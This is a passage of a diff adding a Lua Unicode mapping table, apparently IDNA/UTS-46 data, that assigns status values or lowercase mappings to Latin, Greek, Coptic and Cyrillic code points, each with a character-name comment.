+ -- LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE..LATIN SMALL LETTER TURNED E
+ [0x01DC] = {status="valid"},
+ [0x01DD] = {status="valid"},
+ -- LATIN SMALL LETTER EZH WITH CARON..LATIN SMALL LETTER J WITH CARON
+ [0x01EF] = {status="valid"},
+ [0x01F0] = {status="valid"},
+ [0x01F4] = 0x01F5, -- LATIN CAPITAL LETTER G WITH ACUTE
+ [0x01F5] = {status="valid"}, -- LATIN SMALL LETTER G WITH ACUTE
+ [0x01F6] = 0x0195, -- LATIN CAPITAL LETTER HWAIR
+ [0x01F7] = 0x01BF, -- LATIN CAPITAL LETTER WYNN
+ [0x01F8] = 0x01F9, -- LATIN CAPITAL LETTER N WITH GRAVE
+ [0x01F9] = {status="valid"}, -- LATIN SMALL LETTER N WITH GRAVE
+ [0x01FA] = 0x01FB, -- LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+ [0x01FB] = {status="valid"}, -- LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+ [0x01FC] = 0x01FD, -- LATIN CAPITAL LETTER AE WITH ACUTE
+ [0x01FD] = {status="valid"}, -- LATIN SMALL LETTER AE WITH ACUTE
+ [0x01FE] = 0x01FF, -- LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+ [0x01FF] = {status="valid"}, -- LATIN SMALL LETTER O WITH STROKE AND ACUTE
+ [0x0200] = 0x0201, -- LATIN CAPITAL LETTER A WITH DOUBLE GRAVE
+ [0x0201] = {status="valid"}, -- LATIN SMALL LETTER A WITH DOUBLE GRAVE
+ [0x0202] = 0x0203, -- LATIN CAPITAL LETTER A WITH INVERTED BREVE
+ [0x0203] = {status="valid"}, -- LATIN SMALL LETTER A WITH INVERTED BREVE
+ [0x0204] = 0x0205, -- LATIN CAPITAL LETTER E WITH DOUBLE GRAVE
+ [0x0205] = {status="valid"}, -- LATIN SMALL LETTER E WITH DOUBLE GRAVE
+ [0x0206] = 0x0207, -- LATIN CAPITAL LETTER E WITH INVERTED BREVE
+ [0x0207] = {status="valid"}, -- LATIN SMALL LETTER E WITH INVERTED BREVE
+ [0x0208] = 0x0209, -- LATIN CAPITAL LETTER I WITH DOUBLE GRAVE
+ [0x0209] = {status="valid"}, -- LATIN SMALL LETTER I WITH DOUBLE GRAVE
+ [0x020A] = 0x020B, -- LATIN CAPITAL LETTER I WITH INVERTED BREVE
+ [0x020B] = {status="valid"}, -- LATIN SMALL LETTER I WITH INVERTED BREVE
+ [0x020C] = 0x020D, -- LATIN CAPITAL LETTER O WITH DOUBLE GRAVE
+ [0x020D] = {status="valid"}, -- LATIN SMALL LETTER O WITH DOUBLE GRAVE
+ [0x020E] = 0x020F, -- LATIN CAPITAL LETTER O WITH INVERTED BREVE
+ [0x020F] = {status="valid"}, -- LATIN SMALL LETTER O WITH INVERTED BREVE
+ [0x0210] = 0x0211, -- LATIN CAPITAL LETTER R WITH DOUBLE GRAVE
+ [0x0211] = {status="valid"}, -- LATIN SMALL LETTER R WITH DOUBLE GRAVE
+ [0x0212] = 0x0213, -- LATIN CAPITAL LETTER R WITH INVERTED BREVE
+ [0x0213] = {status="valid"}, -- LATIN SMALL LETTER R WITH INVERTED BREVE
+ [0x0214] = 0x0215, -- LATIN CAPITAL LETTER U WITH DOUBLE GRAVE
+ [0x0215] = {status="valid"}, -- LATIN SMALL LETTER U WITH DOUBLE GRAVE
+ [0x0216] = 0x0217, -- LATIN CAPITAL LETTER U WITH INVERTED BREVE
+ [0x0217] = {status="valid"}, -- LATIN SMALL LETTER U WITH INVERTED BREVE
+ [0x0218] = 0x0219, -- LATIN CAPITAL LETTER S WITH COMMA BELOW
+ [0x0219] = {status="valid"}, -- LATIN SMALL LETTER S WITH COMMA BELOW
+ [0x021A] = 0x021B, -- LATIN CAPITAL LETTER T WITH COMMA BELOW
+ [0x021B] = {status="valid"}, -- LATIN SMALL LETTER T WITH COMMA BELOW
+ [0x021C] = 0x021D, -- LATIN CAPITAL LETTER YOGH
+ [0x021D] = {status="valid"}, -- LATIN SMALL LETTER YOGH
+ [0x021E] = 0x021F, -- LATIN CAPITAL LETTER H WITH CARON
+ [0x021F] = {status="valid"}, -- LATIN SMALL LETTER H WITH CARON
+ [0x0220] = 0x019E, -- LATIN CAPITAL LETTER N WITH LONG RIGHT LEG
+ [0x0221] = {status="valid"}, -- LATIN SMALL LETTER D WITH CURL
+ [0x0222] = 0x0223, -- LATIN CAPITAL LETTER OU
+ [0x0223] = {status="valid"}, -- LATIN SMALL LETTER OU
+ [0x0224] = 0x0225, -- LATIN CAPITAL LETTER Z WITH HOOK
+ [0x0225] = {status="valid"}, -- LATIN SMALL LETTER Z WITH HOOK
+ [0x0226] = 0x0227, -- LATIN CAPITAL LETTER A WITH DOT ABOVE
+ [0x0227] = {status="valid"}, -- LATIN SMALL LETTER A WITH DOT ABOVE
+ [0x0228] = 0x0229, -- LATIN CAPITAL LETTER E WITH CEDILLA
+ [0x0229] = {status="valid"}, -- LATIN SMALL LETTER E WITH CEDILLA
+ [0x022A] = 0x022B, -- LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+ [0x022B] = {status="valid"}, -- LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+ [0x022C] = 0x022D, -- LATIN CAPITAL LETTER O WITH TILDE AND MACRON
+ [0x022D] = {status="valid"}, -- LATIN SMALL LETTER O WITH TILDE AND MACRON
+ [0x022E] = 0x022F, -- LATIN CAPITAL LETTER O WITH DOT ABOVE
+ [0x022F] = {status="valid"}, -- LATIN SMALL LETTER O WITH DOT ABOVE
+ [0x0230] = 0x0231, -- LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON
+ [0x0231] = {status="valid"}, -- LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON
+ [0x0232] = 0x0233, -- LATIN CAPITAL LETTER Y WITH MACRON
+ [0x0233] = {status="valid"}, -- LATIN SMALL LETTER Y WITH MACRON
+ -- LATIN CAPITAL LETTER DZ..LATIN SMALL LETTER DZ
+ [0x01F1] = {0x0064, 0x007A},
+ [0x01F2] = {0x0064, 0x007A},
+ [0x01F3] = {0x0064, 0x007A},
+ [0x023A] = 0x2C65, -- LATIN CAPITAL LETTER A WITH STROKE
+ [0x023B] = 0x023C, -- LATIN CAPITAL LETTER C WITH STROKE
+ [0x023C] = {status="valid"}, -- LATIN SMALL LETTER C WITH STROKE
+ [0x023D] = 0x019A, -- LATIN CAPITAL LETTER L WITH BAR
+ [0x023E] = 0x2C66, -- LATIN CAPITAL LETTER T WITH DIAGONAL STROKE
+ [0x0241] = 0x0242, -- LATIN CAPITAL LETTER GLOTTAL STOP
+ [0x0242] = {status="valid"}, -- LATIN SMALL LETTER GLOTTAL STOP
+ [0x0243] = 0x0180, -- LATIN CAPITAL LETTER B WITH STROKE
+ [0x0244] = 0x0289, -- LATIN CAPITAL LETTER U BAR
+ [0x0245] = 0x028C, -- LATIN CAPITAL LETTER TURNED V
+ [0x0246] = 0x0247, -- LATIN CAPITAL LETTER E WITH STROKE
+ [0x0247] = {status="valid"}, -- LATIN SMALL LETTER E WITH STROKE
+ [0x0248] = 0x0249, -- LATIN CAPITAL LETTER J WITH STROKE
+ [0x0249] = {status="valid"}, -- LATIN SMALL LETTER J WITH STROKE
+ [0x024A] = 0x024B, -- LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL
+ [0x024B] = {status="valid"}, -- LATIN SMALL LETTER Q WITH HOOK TAIL
+ [0x024C] = 0x024D, -- LATIN CAPITAL LETTER R WITH STROKE
+ [0x024D] = {status="valid"}, -- LATIN SMALL LETTER R WITH STROKE
+ [0x024E] = 0x024F, -- LATIN CAPITAL LETTER Y WITH STROKE
+ [0x024F] = {status="valid"}, -- LATIN SMALL LETTER Y WITH STROKE
+ -- LATIN SMALL LETTER S WITH SWASH TAIL..LATIN SMALL LETTER Z WITH SWASH TAIL
+ [0x023F] = {status="valid"},
+ [0x0240] = {status="valid"},
+ [0x02B0] = 0x0068, -- MODIFIER LETTER SMALL H
+ [0x02B1] = 0x0266, -- MODIFIER LETTER SMALL H WITH HOOK
+ [0x02B2] = 0x006A, -- MODIFIER LETTER SMALL J
+ [0x02B3] = 0x0072, -- MODIFIER LETTER SMALL R
+ [0x02B4] = 0x0279, -- MODIFIER LETTER SMALL TURNED R
+ [0x02B5] = 0x027B, -- MODIFIER LETTER SMALL TURNED R WITH HOOK
+ [0x02B6] = 0x0281, -- MODIFIER LETTER SMALL CAPITAL INVERTED R
+ [0x02B7] = 0x0077, -- MODIFIER LETTER SMALL W
+ [0x02B8] = 0x0079, -- MODIFIER LETTER SMALL Y
+ -- MODIFIER LETTER LEFT ARROWHEAD..MODIFIER LETTER DOWN ARROWHEAD
+ [0x02C2] = {status="disallowed"},
+ [0x02C3] = {status="disallowed"},
+ [0x02C4] = {status="disallowed"},
+ [0x02C5] = {status="disallowed"},
+ [0x02D8] = {status="disallowed"}, -- BREVE
+ [0x02D9] = {status="disallowed"}, -- DOT ABOVE
+ [0x02DA] = {status="disallowed"}, -- RING ABOVE
+ [0x02DB] = {status="disallowed"}, -- OGONEK
+ [0x02DC] = {status="disallowed"}, -- SMALL TILDE
+ [0x02DD] = {status="disallowed"}, -- DOUBLE ACUTE ACCENT
+ [0x02DE] = {status="disallowed"}, -- MODIFIER LETTER RHOTIC HOOK
+ [0x02DF] = {status="disallowed"}, -- MODIFIER LETTER CROSS ACCENT
+ [0x02E0] = 0x0263, -- MODIFIER LETTER SMALL GAMMA
+ [0x02E1] = 0x006C, -- MODIFIER LETTER SMALL L
+ [0x02E2] = 0x0073, -- MODIFIER LETTER SMALL S
+ [0x02E3] = 0x0078, -- MODIFIER LETTER SMALL X
+ [0x02E4] = 0x0295, -- MODIFIER LETTER SMALL REVERSED GLOTTAL STOP
+ [0x02EC] = {status="valid"}, -- MODIFIER LETTER VOICING
+ [0x02ED] = {status="disallowed"}, -- MODIFIER LETTER UNASPIRATED
+ [0x02EE] = {status="valid"}, -- MODIFIER LETTER DOUBLE APOSTROPHE
+ [0x0340] = 0x0300, -- COMBINING GRAVE TONE MARK
+ [0x0341] = 0x0301, -- COMBINING ACUTE TONE MARK
+ [0x0342] = {status="valid"}, -- COMBINING GREEK PERISPOMENI
+ [0x0343] = 0x0313, -- COMBINING GREEK KORONIS
+ [0x0344] = {0x0308, 0x0301}, -- COMBINING GREEK DIALYTIKA TONOS
+ [0x0345] = 0x03B9, -- COMBINING GREEK YPOGEGRAMMENI
+ [0x034F] = {status='ignored'}, -- COMBINING GRAPHEME JOINER
+ [0x0362] = {status="valid"}, -- COMBINING DOUBLE RIGHTWARDS ARROW BELOW
+ [0x0370] = 0x0371, -- GREEK CAPITAL LETTER HETA
+ [0x0371] = {status="valid"}, -- GREEK SMALL LETTER HETA
+ [0x0372] = 0x0373, -- GREEK CAPITAL LETTER ARCHAIC SAMPI
+ [0x0373] = {status="valid"}, -- GREEK SMALL LETTER ARCHAIC SAMPI
+ [0x0374] = 0x02B9, -- GREEK NUMERAL SIGN
+ [0x0375] = {status="valid"}, -- GREEK LOWER NUMERAL SIGN
+ [0x0376] = 0x0377, -- GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA
+ [0x0377] = {status="valid"}, -- GREEK SMALL LETTER PAMPHYLIAN DIGAMMA
+ [0x037A] = {status="disallowed"}, -- GREEK YPOGEGRAMMENI
+ -- NA <reserved-0378>..<reserved-0379>
+ [0x0378] = {status="disallowed"},
+ [0x0379] = {status="disallowed"},
+ [0x037E] = {status="disallowed"}, -- GREEK QUESTION MARK
+ [0x037F] = 0x03F3, -- GREEK CAPITAL LETTER YOT
+ -- GREEK SMALL REVERSED LUNATE SIGMA SYMBOL..GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL
+ [0x037B] = {status="valid"},
+ [0x037C] = {status="valid"},
+ [0x037D] = {status="valid"},
+ [0x0384] = {status="disallowed"}, -- GREEK TONOS
+ [0x0385] = {status="disallowed"}, -- GREEK DIALYTIKA TONOS
+ [0x0386] = 0x03AC, -- GREEK CAPITAL LETTER ALPHA WITH TONOS
+ [0x0387] = 0x00B7, -- GREEK ANO TELEIA
+ [0x0388] = 0x03AD, -- GREEK CAPITAL LETTER EPSILON WITH TONOS
+ [0x0389] = 0x03AE, -- GREEK CAPITAL LETTER ETA WITH TONOS
+ [0x038A] = 0x03AF, -- GREEK CAPITAL LETTER IOTA WITH TONOS
+ [0x038B] = {status="disallowed"}, -- NA <reserved-038B>
+ [0x038C] = 0x03CC, -- GREEK CAPITAL LETTER OMICRON WITH TONOS
+ [0x038D] = {status="disallowed"}, -- NA <reserved-038D>
+ [0x038E] = 0x03CD, -- GREEK CAPITAL LETTER UPSILON WITH TONOS
+ [0x038F] = 0x03CE, -- GREEK CAPITAL LETTER OMEGA WITH TONOS
+ [0x0390] = {status="valid"}, -- GREEK SMALL LETTER IOTA WITH DIALYTIKA AND TONOS
+ [0x0391] = 0x03B1, -- GREEK CAPITAL LETTER ALPHA
+ [0x0392] = 0x03B2, -- GREEK CAPITAL LETTER BETA
+ [0x0393] = 0x03B3, -- GREEK CAPITAL LETTER GAMMA
+ [0x0394] = 0x03B4, -- GREEK CAPITAL LETTER DELTA
+ [0x0395] = 0x03B5, -- GREEK CAPITAL LETTER EPSILON
+ [0x0396] = 0x03B6, -- GREEK CAPITAL LETTER ZETA
+ [0x0397] = 0x03B7, -- GREEK CAPITAL LETTER ETA
+ [0x0398] = 0x03B8, -- GREEK CAPITAL LETTER THETA
+ [0x0399] = 0x03B9, -- GREEK CAPITAL LETTER IOTA
+ [0x039A] = 0x03BA, -- GREEK CAPITAL LETTER KAPPA
+ [0x039B] = 0x03BB, -- GREEK CAPITAL LETTER LAMDA
+ [0x039C] = 0x03BC, -- GREEK CAPITAL LETTER MU
+ [0x039D] = 0x03BD, -- GREEK CAPITAL LETTER NU
+ [0x039E] = 0x03BE, -- GREEK CAPITAL LETTER XI
+ [0x039F] = 0x03BF, -- GREEK CAPITAL LETTER OMICRON
+ [0x03A0] = 0x03C0, -- GREEK CAPITAL LETTER PI
+ [0x03A1] = 0x03C1, -- GREEK CAPITAL LETTER RHO
+ [0x03A2] = {status="disallowed"}, -- NA <reserved-03A2>
+ [0x03A3] = 0x03C3, -- GREEK CAPITAL LETTER SIGMA
+ [0x03A4] = 0x03C4, -- GREEK CAPITAL LETTER TAU
+ [0x03A5] = 0x03C5, -- GREEK CAPITAL LETTER UPSILON
+ [0x03A6] = 0x03C6, -- GREEK CAPITAL LETTER PHI
+ [0x03A7] = 0x03C7, -- GREEK CAPITAL LETTER CHI
+ [0x03A8] = 0x03C8, -- GREEK CAPITAL LETTER PSI
+ [0x03A9] = 0x03C9, -- GREEK CAPITAL LETTER OMEGA
+ [0x03AA] = 0x03CA, -- GREEK CAPITAL LETTER IOTA WITH DIALYTIKA
+ [0x03AB] = 0x03CB, -- GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA
+ -- NA <reserved-0380>..<reserved-0383>
+ [0x0380] = {status="disallowed"},
+ [0x0381] = {status="disallowed"},
+ [0x0382] = {status="disallowed"},
+ [0x0383] = {status="disallowed"},
+ [0x03C2] = {status='deviation', 0x03C3}, -- GREEK SMALL LETTER FINAL SIGMA
+ [0x03CF] = 0x03D7, -- GREEK CAPITAL KAI SYMBOL
+ [0x03D0] = 0x03B2, -- GREEK BETA SYMBOL
+ [0x03D1] = 0x03B8, -- GREEK THETA SYMBOL
+ [0x03D2] = 0x03C5, -- GREEK UPSILON WITH HOOK SYMBOL
+ [0x03D3] = 0x03CD, -- GREEK UPSILON WITH ACUTE AND HOOK SYMBOL
+ [0x03D4] = 0x03CB, -- GREEK UPSILON WITH DIAERESIS AND HOOK SYMBOL
+ [0x03D5] = 0x03C6, -- GREEK PHI SYMBOL
+ [0x03D6] = 0x03C0, -- GREEK PI SYMBOL
+ [0x03D7] = {status="valid"}, -- GREEK KAI SYMBOL
+ [0x03D8] = 0x03D9, -- GREEK LETTER ARCHAIC KOPPA
+ [0x03D9] = {status="valid"}, -- GREEK SMALL LETTER ARCHAIC KOPPA
+ [0x03DA] = 0x03DB, -- GREEK LETTER STIGMA
+ [0x03DB] = {status="valid"}, -- GREEK SMALL LETTER STIGMA
+ [0x03DC] = 0x03DD, -- GREEK LETTER DIGAMMA
+ [0x03DD] = {status="valid"}, -- GREEK SMALL LETTER DIGAMMA
+ [0x03DE] = 0x03DF, -- GREEK LETTER KOPPA
+ [0x03DF] = {status="valid"}, -- GREEK SMALL LETTER KOPPA
+ [0x03E0] = 0x03E1, -- GREEK LETTER SAMPI
+ [0x03E1] = {status="valid"}, -- GREEK SMALL LETTER SAMPI
+ [0x03E2] = 0x03E3, -- COPTIC CAPITAL LETTER SHEI
+ [0x03E3] = {status="valid"}, -- COPTIC SMALL LETTER SHEI
+ [0x03E4] = 0x03E5, -- COPTIC CAPITAL LETTER FEI
+ [0x03E5] = {status="valid"}, -- COPTIC SMALL LETTER FEI
+ [0x03E6] = 0x03E7, -- COPTIC CAPITAL LETTER KHEI
+ [0x03E7] = {status="valid"}, -- COPTIC SMALL LETTER KHEI
+ [0x03E8] = 0x03E9, -- COPTIC CAPITAL LETTER HORI
+ [0x03E9] = {status="valid"}, -- COPTIC SMALL LETTER HORI
+ [0x03EA] = 0x03EB, -- COPTIC CAPITAL LETTER GANGIA
+ [0x03EB] = {status="valid"}, -- COPTIC SMALL LETTER GANGIA
+ [0x03EC] = 0x03ED, -- COPTIC CAPITAL LETTER SHIMA
+ [0x03ED] = {status="valid"}, -- COPTIC SMALL LETTER SHIMA
+ [0x03EE] = 0x03EF, -- COPTIC CAPITAL LETTER DEI
+ [0x03EF] = {status="valid"}, -- COPTIC SMALL LETTER DEI
+ [0x03F0] = 0x03BA, -- GREEK KAPPA SYMBOL
+ [0x03F1] = 0x03C1, -- GREEK RHO SYMBOL
+ [0x03F2] = 0x03C3, -- GREEK LUNATE SIGMA SYMBOL
+ [0x03F3] = {status="valid"}, -- GREEK LETTER YOT
+ [0x03F4] = 0x03B8, -- GREEK CAPITAL THETA SYMBOL
+ [0x03F5] = 0x03B5, -- GREEK LUNATE EPSILON SYMBOL
+ [0x03F6] = {status="disallowed"}, -- GREEK REVERSED LUNATE EPSILON SYMBOL
+ [0x03F7] = 0x03F8, -- GREEK CAPITAL LETTER SHO
+ [0x03F8] = {status="valid"}, -- GREEK SMALL LETTER SHO
+ [0x03F9] = 0x03C3, -- GREEK CAPITAL LUNATE SIGMA SYMBOL
+ [0x03FA] = 0x03FB, -- GREEK CAPITAL LETTER SAN
+ [0x03FB] = {status="valid"}, -- GREEK SMALL LETTER SAN
+ [0x03FC] = {status="valid"}, -- GREEK RHO WITH STROKE SYMBOL
+ [0x03FD] = 0x037B, -- GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL
+ [0x03FE] = 0x037C, -- GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL
+ [0x03FF] = 0x037D, -- GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL
+ [0x0400] = 0x0450, -- CYRILLIC CAPITAL LETTER IE WITH GRAVE
+ [0x0401] = 0x0451, -- CYRILLIC CAPITAL LETTER IO
+ [0x0402] = 0x0452, -- CYRILLIC CAPITAL LETTER DJE
+ [0x0403] = 0x0453, -- CYRILLIC CAPITAL LETTER GJE
+ [0x0404] = 0x0454, -- CYRILLIC CAPITAL LETTER UKRAINIAN IE
+ [0x0405] = 0x0455, -- CYRILLIC CAPITAL LETTER DZE
+ [0x0406] = 0x0456, -- CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I
+ [0x0407] = 0x0457, -- CYRILLIC CAPITAL LETTER YI
+ [0x0408] = 0x0458, -- CYRILLIC CAPITAL LETTER JE
+ [0x0409] = 0x0459, -- CYRILLIC CAPITAL LETTER LJE
+ [0x040A] = 0x045A, -- CYRILLIC CAPITAL LETTER NJE
+ [0x040B] = 0x045B, -- CYRILLIC CAPITAL LETTER TSHE
+ [0x040C] = 0x045C, -- CYRILLIC CAPITAL LETTER KJE
+ [0x040D] = 0x045D, -- CYRILLIC CAPITAL LETTER I WITH GRAVE
+ [0x040E] = 0x045E, -- CYRILLIC CAPITAL LETTER SHORT U
+ [0x040F] = 0x045F, -- CYRILLIC CAPITAL LETTER DZHE
+ [0x0410] = 0x0430, -- CYRILLIC CAPITAL LETTER A
+ [0x0411] = 0x0431, -- CYRILLIC CAPITAL LETTER BE
+ [0x0412] = 0x0432, -- CYRILLIC CAPITAL LETTER VE
+ [0x0413] = 0x0433, -- CYRILLIC CAPITAL LETTER GHE
+ [0x0414] = 0x0434, -- CYRILLIC CAPITAL LETTER DE
+ [0x0415] = 0x0435, -- CYRILLIC CAPITAL LETTER IE
+ [0x0416] = 0x0436, -- CYRILLIC CAPITAL LETTER ZHE
+ [0x0417] = 0x0437, -- CYRILLIC CAPITAL LETTER ZE
+ [0x0418] = 0x0438, -- CYRILLIC CAPITAL LETTER I
+ [0x0419] = 0x0439, -- CYRILLIC CAPITAL LETTER SHORT I
+ [0x041A] = 0x043A, -- CYRILLIC CAPITAL LETTER KA
+ [0x041B] = 0x043B, -- CYRILLIC CAPITAL LETTER EL
+ [0x041C] = 0x043C, -- CYRILLIC CAPITAL LETTER EM
+ [0x041D] = 0x043D, -- CYRILLIC CAPITAL LETTER EN
+ [0x041E] = 0x043E, -- CYRILLIC CAPITAL LETTER O
+ [0x041F] = 0x043F, -- CYRILLIC CAPITAL LETTER PE
+ [0x0420] = 0x0440, -- CYRILLIC CAPITAL LETTER ER
+ [0x0421] = 0x0441, -- CYRILLIC CAPITAL LETTER ES
+ [0x0422] = 0x0442, -- CYRILLIC CAPITAL LETTER TE
+ [0x0423] = 0x0443, -- CYRILLIC CAPITAL LETTER U
+ [0x0424] = 0x0444, -- CYRILLIC CAPITAL LETTER EF
+ [0x0425] = 0x0445, -- CYRILLIC CAPITAL LETTER HA
+ [0x0426] = 0x0446, -- CYRILLIC CAPITAL LETTER TSE
+ [0x0427] = 0x0447, -- CYRILLIC CAPITAL LETTER CHE
+ [0x0428] = 0x0448, -- CYRILLIC CAPITAL LETTER SHA
+ [0x0429] = 0x0449, -- CYRILLIC CAPITAL LETTER SHCHA
+ [0x042A] = 0x044A, -- CYRILLIC CAPITAL LETTER HARD SIGN
+ [0x042B] = 0x044B, -- CYRILLIC CAPITAL LETTER YERU
+ [0x042C] = 0x044C, -- CYRILLIC CAPITAL LETTER SOFT SIGN
+ [0x042D] = 0x044D, -- CYRILLIC CAPITAL LETTER E
+ [0x042E] = 0x044E, -- CYRILLIC CAPITAL LETTER YU
+ [0x042F] = 0x044F, -- CYRILLIC CAPITAL LETTER YA
+ [0x0450] = {status="valid"}, -- CYRILLIC SMALL LETTER IE WITH GRAVE
+ [0x045D] = {status="valid"}, -- CYRILLIC SMALL LETTER I WITH GRAVE
+ [0x0460] = 0x0461, -- CYRILLIC CAPITAL LETTER OMEGA
+ [0x0461] = {status="valid"}, -- CYRILLIC SMALL LETTER OMEGA
+ [0x0462] = 0x0463, -- CYRILLIC CAPITAL LETTER YAT
+ [0x0463] = {status="valid"}, -- CYRILLIC SMALL LETTER YAT
+ [0x0464] = 0x0465, -- CYRILLIC CAPITAL LETTER IOTIFIED E
+ [0x0465] = {status="valid"}, -- CYRILLIC SMALL LETTER IOTIFIED E
+ [0x0466] = 0x0467, -- CYRILLIC CAPITAL LETTER LITTLE YUS
+ [0x0467] = {status="valid"}, -- CYRILLIC SMALL LETTER LITTLE YUS
+ [0x0468] = 0x0469, -- CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS
+ [0x0469] = {status="valid"}, -- CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS
+ [0x046A] = 0x046B, -- CYRILLIC CAPITAL LETTER BIG YUS
+ [0x046B] = {status="valid"}, -- CYRILLIC SMALL LETTER BIG YUS
+ [0x046C] = 0x046D, -- CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS
+ [0x046D] = {status="valid"}, -- CYRILLIC SMALL LETTER IOTIFIED BIG YUS
+ [0x046E] = 0x046F, -- CYRILLIC CAPITAL LETTER KSI
+ [0x046F] = {status="valid"}, -- CYRILLIC SMALL LETTER KSI
+ [0x0470] = 0x0471, -- CYRILLIC CAPITAL LETTER PSI
+ [0x0471] = {status="valid"}, -- CYRILLIC SMALL LETTER PSI
+ [0x0472] = 0x0473, -- CYRILLIC CAPITAL LETTER FITA
+ [0x0473] = {status="valid"}, -- CYRILLIC SMALL LETTER FITA
+ [0x0474] = 0x0475, -- CYRILLIC CAPITAL LETTER IZHITSA
+ [0x0475] = {status="valid"}, -- CYRILLIC SMALL LETTER IZHITSA
+ [0x0476] = 0x0477, -- CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT
+ [0x0477] = {status="valid"}, -- CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT
+ [0x0478] = 0x0479, -- CYRILLIC CAPITAL LETTER UK
+ [0x0479] = {status="valid"}, -- CYRILLIC SMALL LETTER UK
+ [0x047A] = 0x047B, -- CYRILLIC CAPITAL LETTER ROUND OMEGA
+ [0x047B] = {status="valid"}, -- CYRILLIC SMALL LETTER ROUND OMEGA
+ [0x047C] = 0x047D, -- CYRILLIC CAPITAL LETTER OMEGA WITH TITLO
+ [0x047D] = {status="valid"}, -- CYRILLIC SMALL LETTER OMEGA WITH TITLO
+ [0x047E] = 0x047F, -- CYRILLIC CAPITAL LETTER OT
+ [0x047F] = {status="valid"}, -- CYRILLIC SMALL LETTER OT
+ [0x0480] = 0x0481, -- CYRILLIC CAPITAL LETTER KOPPA
+ [0x0481] = {status="valid"}, -- CYRILLIC SMALL LETTER KOPPA
+ [0x0482] = {status="disallowed"}, -- CYRILLIC THOUSANDS SIGN
+ -- CYRILLIC SMALL LETTER SHORT U..CYRILLIC SMALL LETTER DZHE
+ [0x045E] = {status="valid"},
+ [0x045F] = {status="valid"},
+ [0x0487] = {status="valid"}, -- COMBINING CYRILLIC POKRYTIE
+ -- COMBINING CYRILLIC TITLO..COMBINING CYRILLIC PSILI PNEUMATA
+ [0x0483] = {status="valid"},
+ [0x0484] = {status="valid"},
+ [0x0485] = {status="valid"},
+ [0x0486] = {status="valid"},
+ [0x048A] = 0x048B, -- CYRILLIC CAPITAL LETTER SHORT I WITH TAIL
+ [0x048B] = {status="valid"}, -- CYRILLIC SMALL LETTER SHORT I WITH TAIL
+ [0x048C] = 0x048D, -- CYRILLIC CAPITAL LETTER SEMISOFT SIGN
+ [0x048D] = {status="valid"}, -- CYRILLIC SMALL LETTER SEMISOFT SIGN
+ [0x048E] = 0x048F, -- CYRILLIC CAPITAL LETTER ER WITH TICK
+ [0x048F] = {status="valid"}, -- CYRILLIC SMALL LETTER ER WITH TICK
+ [0x0490] = 0x0491, -- CYRILLIC CAPITAL LETTER GHE WITH UPTURN
+ [0x0491] = {status="valid"}, -- CYRILLIC SMALL LETTER GHE WITH UPTURN
+ [0x0492] = 0x0493, -- CYRILLIC CAPITAL LETTER GHE WITH STROKE
+ [0x0493] = {status="valid"}, -- CYRILLIC SMALL LETTER GHE WITH STROKE
+ [0x0494] = 0x0495, -- CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK
+ [0x0495] = {status="valid"}, -- CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK
+ [0x0496] = 0x0497, -- CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER
+ [0x0497] = {status="valid"}, -- CYRILLIC SMALL LETTER ZHE WITH DESCENDER
+ [0x0498] = 0x0499, -- CYRILLIC CAPITAL LETTER ZE WITH DESCENDER
+ [0x0499] = {status="valid"}, -- CYRILLIC SMALL LETTER ZE WITH DESCENDER
+ [0x049A] = 0x049B, -- CYRILLIC CAPITAL LETTER KA WITH DESCENDER
+ [0x049B] = {status="valid"}, -- CYRILLIC SMALL LETTER KA WITH DESCENDER
+ [0x049C] = 0x049D, -- CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE
+ [0x049D] = {status="valid"}, -- CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE
+ [0x049E] = 0x049F, -- CYRILLIC CAPITAL LETTER KA WITH STROKE
+ [0x049F] = {status="valid"}, -- CYRILLIC SMALL LETTER KA WITH STROKE
+ [0x04A0] = 0x04A1, -- CYRILLIC CAPITAL LETTER BASHKIR KA
+ [0x04A1] = {status="valid"}, -- CYRILLIC SMALL LETTER BASHKIR KA
+ [0x04A2] = 0x04A3, -- CYRILLIC CAPITAL LETTER EN WITH DESCENDER
+ [0x04A3] = {status="valid"}, -- CYRILLIC SMALL LETTER EN WITH DESCENDER
+ [0x04A4] = 0x04A5, -- CYRILLIC CAPITAL LIGATURE EN GHE
+ [0x04A5] = {status="valid"}, -- CYRILLIC SMALL LIGATURE EN GHE
+ [0x04A6] = 0x04A7, -- CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK
+ [0x04A7] = {status="valid"}, -- CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK
+ [0x04A8] = 0x04A9, -- CYRILLIC CAPITAL LETTER ABKHASIAN HA
+ [0x04A9] = {status="valid"}, -- CYRILLIC SMALL LETTER ABKHASIAN HA
+ [0x04AA] = 0x04AB, -- CYRILLIC CAPITAL LETTER ES WITH DESCENDER
+ [0x04AB] = {status="valid"}, -- CYRILLIC SMALL LETTER ES WITH DESCENDER
+ [0x04AC] = 0x04AD, -- CYRILLIC CAPITAL LETTER TE WITH DESCENDER
+ [0x04AD] = {status="valid"}, -- CYRILLIC SMALL LETTER TE WITH DESCENDER
+ [0x04AE] = 0x04AF, -- CYRILLIC CAPITAL LETTER STRAIGHT U
